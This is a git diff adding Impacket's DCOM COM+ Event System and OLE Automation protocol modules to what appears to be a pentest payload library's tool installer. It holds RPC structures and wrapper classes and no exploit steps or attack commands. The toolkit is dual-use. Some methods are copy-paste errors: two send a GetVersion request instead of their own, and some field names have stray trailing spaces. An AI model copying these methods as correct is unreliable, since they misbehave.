) + +################################################################################ +# 3.1.4.7 IEventClass3 +# 3.1.4.7.1 get_EventClassPartitionID (Opnum 29) +class IEventClass3_get_EventClassPartitionID(DCOMCALL): + opnum = 29 + structure = ( + ) + +class IEventClass3_get_EventClassPartitionIDResponse(DCOMANSWER): + structure = ( + ('pbstrEventClassPartitionID', BSTR), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.7.2 put_EventClassPartitionID (Opnum 30) +class IEventClass3_put_EventClassPartitionID(DCOMCALL): + opnum = 30 + structure = ( + ('bstrEventClassPartitionID', BSTR), + ) + +class IEventClass3_put_EventClassPartitionIDResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + ) + +# 3.1.4.7.3 get_EventClassApplicationID (Opnum 31) +class IEventClass3_get_EventClassApplicationID(DCOMCALL): + opnum = 31 + structure = ( + ) + +class IEventClass3_get_EventClassApplicationIDResponse(DCOMANSWER): + structure = ( + ('pbstrEventClassApplicationID', BSTR), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.7.4 put_EventClassApplicationID (Opnum 32) +class IEventClass3_put_EventClassApplicationID(DCOMCALL): + opnum = 32 + structure = ( + ('bstrEventClassApplicationID', BSTR), + ) + +class IEventClass3_put_EventClassApplicationIDResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + ) + +################################################################################ +# 3.1.4.8 IEventSubscription2 +# 3.1.4.8.1 get_FilterCriteria (Opnum 41) +class IEventSubscription2_get_FilterCriteria(DCOMCALL): + opnum = 41 + structure = ( + ) + +class IEventSubscription2_get_FilterCriteriaResponse(DCOMANSWER): + structure = ( + ('pbstrFilterCriteria', BSTR), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.8.2 put_FilterCriteria (Opnum 42) +class IEventSubscription2_put_FilterCriteria(DCOMCALL): + opnum = 42 + structure = ( + ('bstrFilterCriteria', BSTR), + ) + +class IEventSubscription2_put_FilterCriteriaResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + ) + +# 3.1.4.8.3 get_SubscriberMoniker (Opnum 43) +class IEventSubscription2_get_SubscriberMoniker(DCOMCALL): + opnum = 43 + structure = ( + ) + +class IEventSubscription2_get_SubscriberMonikerResponse(DCOMANSWER): + structure = ( + ('pbstrMoniker', BSTR), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.8.4 put_SubscriberMoniker (Opnum 44) +class IEventSubscription2_put_SubscriberMoniker(DCOMCALL): + opnum = 44 + structure = ( + ('bstrMoniker', BSTR), + ) + +class IEventSubscription2_put_SubscriberMonikerResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + ) + +################################################################################ +# 3.1.4.9 IEventSubscription3 +# 3.1.4.9.1 get_EventClassPartitionID (Opnum 45) +class IEventSubscription3_get_EventClassPartitionID(DCOMCALL): + opnum = 45 + structure = ( + ) + +class IEventSubscription3_get_EventClassPartitionIDResponse(DCOMANSWER): + structure = ( + ('pbstrEventClassPartitionID', BSTR), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.9.2 put_EventClassPartitionID (Opnum 46) +class IEventSubscription3_put_EventClassPartitionID(DCOMCALL): + opnum = 46 + structure = ( + ('bstrEventClassPartitionID', BSTR), + ) + +class IEventSubscription3_put_EventClassPartitionIDResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + ) + +# 3.1.4.9.3 get_EventClassApplicationID (Opnum 47) +class IEventSubscription3_get_EventClassApplicationID(DCOMCALL): + opnum = 47 + structure = ( + ) + +class IEventSubscription3_get_EventClassApplicationIDResponse(DCOMANSWER): + structure = ( + ('pbstrEventClassApplicationID', BSTR), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.9.4 put_EventClassApplicationID (Opnum 48) +class IEventSubscription3_put_EventClassApplicationID(DCOMCALL): + opnum = 48 + structure = ( + ('bstrEventClassPartitionID', BSTR), + ) + +class IEventSubscription3_put_EventClassApplicationIDResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + ) + +# 3.1.4.9.5 get_SubscriberPartitionID (Opnum 49) +class IEventSubscription3_get_SubscriberPartitionID(DCOMCALL): + opnum = 49 + structure = ( + ) + +class IEventSubscription3_get_SubscriberPartitionIDResponse(DCOMANSWER): + structure = ( + ('pbstrSubscriberPartitionID', BSTR), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.9.6 put_SubscriberPartitionID (Opnum 50) +class IEventSubscription3_put_SubscriberPartitionID(DCOMCALL): + opnum = 50 + structure = ( + ('bstrSubscriberPartitionID', BSTR), + ) + +class IEventSubscription3_put_SubscriberPartitionIDResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + ) + +# 3.1.4.9.7 get_SubscriberApplicationID (Opnum 51) +class IEventSubscription3_get_SubscriberApplicationID(DCOMCALL): + opnum = 51 + structure = ( + ) + +class IEventSubscription3_get_SubscriberApplicationIDResponse(DCOMANSWER): + structure = ( + ('pbstrSubscriberApplicationID', BSTR), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.9.8 put_SubscriberApplicationID (Opnum 52) +class IEventSubscription3_put_SubscriberApplicationID(DCOMCALL): + opnum = 52 + structure = ( + ('bstrSubscriberApplicationID', BSTR), + ) + +class IEventSubscription3_put_SubscriberApplicationIDResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + ) + +################################################################################ +# 3.1.4.10 IEventSystem2 +# 3.1.4.10.1 GetVersion (Opnum 13) +class IEventSystem2_GetVersion(DCOMCALL): + opnum = 13 + structure = ( + ) + +class IEventSystem2_GetVersionResponse(DCOMANSWER): + structure = ( + ('pnVersion', INT), + ('ErrorCode', error_status_t), + ) + +# 3.1.4.10.2 VerifyTransientSubscribers (Opnum 14) +class IEventSystem2_VerifyTransientSubscribers(DCOMCALL): + opnum = 14 + structure = ( + ) + +class IEventSystem2_VerifyTransientSubscribersResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + ) + +################################################################################ +# 3.1.4.11 IEventSystemInitialize +# 3.1.4.11.1 SetCOMCatalogBehaviour (Opnum 3) +class IEventSystemInitialize_SetCOMCatalogBehaviour(DCOMCALL): + opnum = 3 + structure = ( + ('bRetainSubKeys', BOOLEAN), + ) + +class IEventSystemInitialize_SetCOMCatalogBehaviourResponse(DCOMANSWER): + structure = ( + ('ErrorCode', error_status_t), + ) + + +################################################################################ +# OPNUMs and their corresponding structures +################################################################################ +OPNUMS = { +} + +################################################################################ +# HELPER FUNCTIONS AND INTERFACES +################################################################################ +class IEventClass(IDispatch): + def __init__(self, interface): + IDispatch.__init__(self,interface) + self._iid = IID_IEventClass + + def get_EventClassID(self): + request = IEventClass_get_EventClassID() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def put_EventClassID(self,bstrEventClassID): + request = IEventClass_put_EventClassID() + request['bstrEventClassID'] = bstrEventClassID + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def get_EventClassName(self): + request = IEventClass_get_EventClassName() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def put_EventClassName(self, bstrEventClassName): + request = IEventClass_put_EventClassName() + request['bstrEventClassName'] = bstrEventClassName + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def get_OwnerSID(self): + request = IEventClass_get_OwnerSID() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def put_OwnerSID(self, bstrOwnerSID): + request = IEventClass_put_OwnerSID() + request['bstrOwnerSID'] = bstrOwnerSID + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def get_FiringInterfaceID(self): + request = IEventClass_get_FiringInterfaceID() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def put_FiringInterfaceID(self, bstrFiringInterfaceID): + request = IEventClass_put_FiringInterfaceID() + request['bstrFiringInterfaceID'] = bstrFiringInterfaceID + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def get_Description(self): + request = IEventClass_get_Description() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def put_Description(self, bstrDescription): + request = IEventClass_put_Description() + request['bstrDescription'] = bstrDescription + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def get_TypeLib(self): + request = IEventClass_get_TypeLib() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def put_TypeLib(self, bstrTypeLib): + request = IEventClass_put_TypeLib() + request['bstrTypeLib'] = bstrTypeLib + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + +class IEventClass2(IEventClass): + def __init__(self, interface): + IEventClass.__init__(self,interface) + self._iid = IID_IEventClass2 + + def get_PublisherID(self): + request = IEventClass2_get_PublisherID() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def put_PublisherID(self, bstrPublisherID): + request = IEventClass2_put_PublisherID() + request['bstrPublisherID'] = bstrPublisherID + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def get_MultiInterfacePublisherFilterCLSID(self): + request = IEventClass2_get_MultiInterfacePublisherFilterCLSID() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def put_MultiInterfacePublisherFilterCLSID(self, bstrPubFilCLSID): + request = IEventClass2_put_MultiInterfacePublisherFilterCLSID() + request['bstrPubFilCLSID'] = bstrPubFilCLSID + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def get_AllowInprocActivation(self): + request = IEventClass2_get_AllowInprocActivation() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def put_AllowInprocActivation(self, fAllowInprocActivation): + request = IEventClass2_put_AllowInprocActivation() + request['fAllowInprocActivation '] = fAllowInprocActivation + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def get_FireInParallel(self): + request = IEventClass2_get_FireInParallel() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def put_FireInParallel(self, fFireInParallel): + request = IEventClass2_put_FireInParallel() + request['fFireInParallel '] = fFireInParallel + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + +class IEventClass3(IEventClass2): + def __init__(self, interface): + IEventClass2.__init__(self,interface) + self._iid = IID_IEventClass3 + + def get_EventClassPartitionID(self): + request = IEventClass3_get_EventClassPartitionID() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def put_EventClassPartitionID(self, bstrEventClassPartitionID): + request = IEventClass3_put_EventClassPartitionID() + request['bstrEventClassPartitionID '] = bstrEventClassPartitionID + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def get_EventClassApplicationID(self): + request = IEventClass3_get_EventClassApplicationID() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def put_EventClassApplicationID(self, bstrEventClassApplicationID): + request = IEventClass3_put_EventClassApplicationID() + request['bstrEventClassApplicationID '] = bstrEventClassApplicationID + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + +class IEventSubscription(IDispatch): + def __init__(self, interface): + IDispatch.__init__(self,interface) + self._iid = IID_IEventSubscription + + def get_SubscriptionID(self): + request = IEventSubscription_get_SubscriptionID() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def put_SubscriptionID(self, bstrSubscriptionID): + request = IEventSubscription_put_SubscriptionID() + request['bstrSubscriptionID'] = bstrSubscriptionID + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def get_SubscriptionName(self): + request = IEventSubscription_get_SubscriptionName() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return resp + + def put_SubscriptionName(self, bstrSubscriptionName): + request = IEventSubscription_put_SubscriptionName() + request['bstrSubscriptionName'] = bstrSubscriptionName + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def get_PublisherID(self): + request = IEventSubscription_get_PublisherID() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def put_PublisherID(self, bstrPublisherID): + request = IEventSubscription_put_PublisherID() + request['bstrPublisherID'] = bstrPublisherID + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def get_EventClassID(self): + request = IEventSubscription_get_EventClassID() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def put_EventClassID(self, pbstrEventClassID): + request = IEventSubscription_put_EventClassID() + request['pbstrEventClassID'] = pbstrEventClassID + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def get_MethodName(self): + request = IEventSubscription_get_MethodName() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def put_MethodName(self, bstrMethodName): + request = IEventSubscription_put_MethodName() + request['bstrMethodName'] = bstrMethodName + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def get_SubscriberCLSID(self): + request = IEventSubscription_get_SubscriberCLSID() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def put_SubscriberCLSID(self, bstrSubscriberCLSID): + request = IEventSubscription_put_SubscriberCLSID() + request['bstrSubscriberCLSID'] = bstrSubscriberCLSID + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def get_SubscriberInterface(self): + request = IEventSubscription_get_SubscriberInterface() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def put_SubscriberInterface(self, pSubscriberInterface): + request = IEventSubscription_put_SubscriberInterface() + request['pSubscriberInterface'] = pSubscriberInterface + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def get_PerUser(self): + request = IEventSubscription_get_PerUser() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def put_PerUser(self, fPerUser): + request = IEventSubscription_put_PerUser() + request['fPerUser'] = fPerUser + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def get_OwnerSID(self): + request = IEventSubscription_get_OwnerSID() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def put_OwnerSID(self, bstrOwnerSID): + request = IEventSubscription_put_OwnerSID() + request['bstrOwnerSID'] = bstrOwnerSID + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def get_Enabled(self): + request = IEventSubscription_get_Enabled() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def put_Enabled(self, fEnabled): + request = IEventSubscription_put_Enabled() + request['fEnabled'] = fEnabled + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def get_Description(self): + request = IEventSubscription_get_Description() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def put_Description(self, bstrDescription): + request = IEventSubscription_put_Description() + request['bstrDescription'] = bstrDescription + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def get_MachineName(self): + request = IEventSubscription_get_MachineName() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def put_MachineName(self, bstrMachineName): + request = IEventSubscription_put_MachineName() + request['bstrMachineName'] = bstrMachineName + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def GetPublisherProperty(self): + request = IEventSubscription_GetPublisherProperty() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def PutPublisherProperty(self, bstrPropertyName, propertyValue): + request = IEventSubscription_PutPublisherProperty() + request['bstrPropertyName'] = bstrPropertyName + request['propertyValue'] = propertyValue + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def RemovePublisherProperty(self, bstrPropertyName): + request = IEventSubscription_RemovePublisherProperty() + request['bstrPropertyName'] = bstrPropertyName + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def GetPublisherPropertyCollection(self): + request = IEventSubscription_GetPublisherPropertyCollection() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def GetSubscriberProperty(self): + request = IEventSubscription_GetSubscriberProperty() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def PutSubscriberProperty(self, bstrPropertyName, propertyValue): + request = IEventSubscription_PutSubscriberProperty() + request['bstrPropertyName'] = bstrPropertyName + request['propertyValue'] = propertyValue + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def RemoveSubscriberProperty(self, bstrPropertyName): + request = IEventSubscription_RemoveSubscriberProperty() + request['bstrPropertyName'] = bstrPropertyName + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def GetSubscriberPropertyCollection(self): + request = IEventSubscription_GetSubscriberPropertyCollection() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def get_InterfaceID(self): + request = IEventSubscription_get_InterfaceID() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def put_InterfaceID(self, bstrInterfaceID): + request = IEventSubscription_put_InterfaceID() + request['bstrInterfaceID'] = bstrInterfaceID + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + +class IEventSubscription2(IEventSubscription): + def __init__(self, interface): + IEventSubscription.__init__(self,interface) + self._iid = IID_IEventSubscription2 + + def get_FilterCriteria(self): + request = IEventSubscription2_get_FilterCriteria() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def put_FilterCriteria(self, bstrFilterCriteria): + request = IEventSubscription2_put_FilterCriteria() + request['bstrFilterCriteria'] = bstrFilterCriteria + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def get_SubscriberMoniker (self): + request = IEventSubscription2_get_SubscriberMoniker () + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def put_SubscriberMoniker(self, bstrMoniker): + request = IEventSubscription2_put_SubscriberMoniker() + request['bstrMoniker'] = bstrMoniker + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + +class IEventSubscription3(IEventSubscription2): + def __init__(self, interface): + IEventSubscription2.__init__(self,interface) + self._iid = IID_IEventSubscription3 + + def get_EventClassPartitionID(self): + request = IEventSubscription3_get_EventClassPartitionID() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def put_EventClassPartitionID(self, bstrEventClassPartitionID): + request = IEventSubscription3_put_EventClassPartitionID() + request['bstrEventClassPartitionID'] = bstrEventClassPartitionID + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def get_EventClassApplicationID(self): + request = IEventSubscription3_get_EventClassApplicationID() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def put_EventClassApplicationID(self, bstrEventClassApplicationID): + request = IEventSubscription3_put_EventClassApplicationID() + request['bstrEventClassApplicationID'] = bstrEventClassApplicationID + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def get_SubscriberPartitionID(self): + request = IEventSubscription3_get_SubscriberPartitionID() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def put_SubscriberPartitionID(self, bstrSubscriberPartitionID): + request = IEventSubscription3_put_SubscriberPartitionID() + request['bstrSubscriberPartitionID'] = bstrSubscriberPartitionID + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def get_SubscriberApplicationID(self): + request = IEventSubscription3_get_SubscriberApplicationID() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def put_SubscriberApplicationID(self, bstrSubscriberApplicationID): + request = IEventSubscription3_put_SubscriberApplicationID() + request['bstrSubscriberApplicationID'] = bstrSubscriberApplicationID + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + +class IEnumEventObject(IDispatch): + def __init__(self, interface): + IDispatch.__init__(self,interface) + self._iid = IID_IEnumEventObject + + def Clone(self): + request = IEnumEventObject_Clone() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return IEnumEventObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppInterface']['abData']), self.get_ipidRemUnknown(), target = self.get_target())) + + def Next(self, cReqElem): + request = IEnumEventObject_Next() + request['cReqElem'] = cReqElem + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + interfaces = list() + for interface in resp['ppInterface']: + interfaces.append(IEventClass2(INTERFACE(self.get_cinstance(), ''.join(interface['abData']), self.get_ipidRemUnknown(), target = self.get_target()))) + return interfaces + + def Reset(self): + request = IEnumEventObject_Reset() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return resp + + def Skip(self, cSkipElem): + request = IEnumEventObject_Skip() + request['cSkipElem'] = cSkipElem + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return resp + +class IEventObjectCollection(IDispatch): + def __init__(self, interface): + IDispatch.__init__(self,interface) + self._iid = IID_IEventObjectCollection + + def get__NewEnum(self): + request = IEventObjectCollection_get__NewEnum() + resp = self.request(request, iid = self._iid , uuid = self.get_iPid()) + return IEnumEventObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target = self._get_target())) + + def get_Item(self, objectID): + request = IEventObjectCollection_get_Item() + request['objectID']['asData'] = objectID + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return resp + + def get_NewEnum(self): + request = IEventObjectCollection_get_NewEnum() + resp = self.request(request, iid = self._iid , uuid = self.get_iPid()) + return IEnumEventObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target = self.get_target())) + + def get_Count(self): + request = IEventObjectCollection_get_Count() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return resp + + def Add(self, item, objectID): + request = IEventObjectCollection_Add() + request['item'] = item + request['objectID']['asData'] = objectID + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return resp + + def Remove(self, objectID): + request = IEventObjectCollection_Remove() + request['objectID']['asData'] = objectID + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return resp + +class IEventSystem(IDispatch): + def __init__(self, interface): + IDispatch.__init__(self,interface) + self._iid = IID_IEventSystem + + def Query(self, progID, queryCriteria): + request = IEventSystem_Query() + request['progID']['asData']=progID + request['queryCriteria']['asData']=queryCriteria + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + iInterface = IDispatch(INTERFACE(self.get_cinstance(), ''.join(resp['ppInterface']['abData']), self.get_ipidRemUnknown(), target = self.get_target())) + return IEventObjectCollection(iInterface.RemQueryInterface(1, (IID_IEventObjectCollection,))) + + def Store(self, progID, pInterface): + request = IEventSystem_Store() + request['progID']['asData']=progID + request['pInterface'] = pInterface + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return resp + + def Remove(self, progID, queryCriteria): + request = IEventSystem_Remove() + request['progID']['asData']=progID + request['queryCriteria'] = queryCriteria + resp = self.request(request, uuid = self.get_iPid()) + return resp + + def get_EventObjectChangeEventClassID(self): + request = IEventSystem_get_EventObjectChangeEventClassID() + resp = self.request(request, uuid = self.get_iPid()) + return resp + + def QueryS(self,progID, queryCriteria): + request = IEventSystem_QueryS() + request['progID']['asData']=progID + request['queryCriteria']['asData']=queryCriteria + resp = self.request(request, uuid = self.get_iPid()) + iInterface = IDispatch(INTERFACE(self.get_cinstance(), ''.join(resp['ppInterface']['abData']), self.get_ipidRemUnknown(), target = self.get_target())) + return IEventObjectCollection(iInterface.RemQueryInterface(1, (IID_IEventObjectCollection,))) + + def RemoveS(self,progID, queryCriteria): + request = IEventSystem_RemoveS() + request['progID']['asData']=progID + request['queryCriteria']['asData']=queryCriteria + resp = self.request(request, uuid = self.get_iPid()) + return resp + +class IEventSystem2(IEventSystem): + def __init__(self, interface): + IEventSystem.__init__(self,interface) + self._iid = IID_IEventSystem2 + + def GetVersion(self): + request = IEventSystem2_GetVersion() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return resp + + def VerifyTransientSubscribers(self): + request = IEventSystem2_GetVersion() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return resp + +class IEventSystemInitialize(IRemUnknown): + def __init__(self, interface): + IRemUnknown.__init__(self,interface) + self._iid = IID_IEventSystemInitialize + + def SetCOMCatalogBehaviour(self, bRetainSubKeys): + request = IEventSystem2_GetVersion() + request['bRetainSubKeys'] = bRetainSubKeys + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return resp + diff --git a/payloads/library/tools_installer/tools_to_install/impacket/impacket/dcerpc/v5/dcom/oaut.py b/payloads/library/tools_installer/tools_to_install/impacket/impacket/dcerpc/v5/dcom/oaut.py new file mode 100644 index 0000000..a48f915 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/impacket/dcerpc/v5/dcom/oaut.py @@ -0,0 +1,1091 @@ +# Copyright (c) 2003-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Author: Alberto Solino (@agsolino) +# +# Description: +# [MS-OAUT]: OLE Automation Protocol Implementation +# This was used as a way to test the DCOM runtime. Further +# testing is needed to verify it is working as expected +# +# Best way to learn how to use these calls is to grab the protocol standard +# so you understand what the call does, and then read the test case located +# at https://github.com/CoreSecurity/impacket/tree/master/impacket/testcases/SMB_RPC +# +# Since DCOM is like an OO RPC, instead of helper functions you will see the +# classes described in the standards developed. +# There are test cases for them too. +# +import random +from struct import pack, unpack + +from impacket import LOG +from impacket import hresult_errors +from impacket.dcerpc.v5.dcomrt import DCOMCALL, DCOMANSWER, IRemUnknown2, PMInterfacePointer, INTERFACE, \ + MInterfacePointer, MInterfacePointer_ARRAY, BYTE_ARRAY, PPMInterfacePointer +from impacket.dcerpc.v5.dtypes import LPWSTR, ULONG, DWORD, SHORT, GUID, USHORT, LONG, WSTR, BYTE, LONGLONG, FLOAT, \ + DOUBLE, HRESULT, PSHORT, PLONG, PLONGLONG, PFLOAT, PDOUBLE, PHRESULT, CHAR, ULONGLONG, INT, UINT, PCHAR, PUSHORT, \ + PULONG, PULONGLONG, PINT, PUINT, NULL +from impacket.dcerpc.v5.enum import Enum +from impacket.dcerpc.v5.ndr import NDRSTRUCT, NDRUniConformantArray, NDRPOINTER, NDRENUM, NDRUSHORT, NDRUNION, \ + NDRUniConformantVaryingArray, NDR +from impacket.dcerpc.v5.rpcrt import DCERPCException +from impacket.uuid import string_to_bin + +class DCERPCSessionError(DCERPCException): + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + + def __str__( self ): + if hresult_errors.ERROR_MESSAGES.has_key(self.error_code): + error_msg_short = hresult_errors.ERROR_MESSAGES[self.error_code][0] + error_msg_verbose = hresult_errors.ERROR_MESSAGES[self.error_code][1] + return 'OAUT SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + else: + return 'OAUT SessionError: unknown error code: 0x%x' % (self.error_code) + +################################################################################ +# CONSTANTS +################################################################################ +# 1.9 Standards Assignments +IID_IDispatch = string_to_bin('00020400-0000-0000-C000-000000000046') +IID_ITypeInfo = string_to_bin('00020401-0000-0000-C000-000000000046') +IID_ITypeComp = string_to_bin('00020403-0000-0000-C000-000000000046') +IID_NULL = string_to_bin('00000000-0000-0000-0000-000000000000') + +error_status_t = ULONG + +LCID = DWORD +WORD = NDRUSHORT + +# 2.2.2 IID +IID = GUID + +# 2.2.3 LPOLESTR +LPOLESTR = LPWSTR +OLESTR = WSTR + +# 2.2.4 REFIID +REFIID = IID + +# 2.2.25 DATE +DATE = DOUBLE +class PDATE(NDRPOINTER): + referent = ( + ('Data', DATE), + ) + +# 2.2.27 VARIANT_BOOL +VARIANT_BOOL = USHORT + +class PVARIANT_BOOL(NDRPOINTER): + referent = ( + ('Data', VARIANT_BOOL), + ) + +# 3.1.4.4 IDispatch::Invoke (Opnum 6) +# dwFlags +DISPATCH_METHOD = 0x00000001 +DISPATCH_PROPERTYGET = 0x00000002 +DISPATCH_PROPERTYPUT = 0x00000004 +DISPATCH_PROPERTYPUTREF = 0x00000008 +DISPATCH_zeroVarResult = 0x00020000 +DISPATCH_zeroExcepInfo = 0x00040000 +DISPATCH_zeroArgErr = 0x00080000 + +################################################################################ +# STRUCTURES +################################################################################ +# 2.2.26 DECIMAL +class DECIMAL(NDRSTRUCT): + structure = ( + ('wReserved',WORD), + ('scale',BYTE), + ('sign',BYTE), + ('Hi32',ULONG), + ('Lo64',ULONGLONG), + ) + +class PDECIMAL(NDRPOINTER): + referent = ( + ('Data', DECIMAL), + ) + +# 2.2.7 VARIANT Type Constants +class VARENUM(NDRENUM): + class enumItems(Enum): + VT_EMPTY = 0 + VT_NULL = 1 + VT_I2 = 2 + VT_I4 = 3 + VT_R4 = 4 + VT_R8 = 5 + VT_CY = 6 + VT_DATE = 7 + VT_BSTR = 8 + VT_DISPATCH = 9 + VT_ERROR = 0xa + VT_BOOL = 0xb + VT_VARIANT = 0xc + VT_UNKNOWN = 0xd + VT_DECIMAL 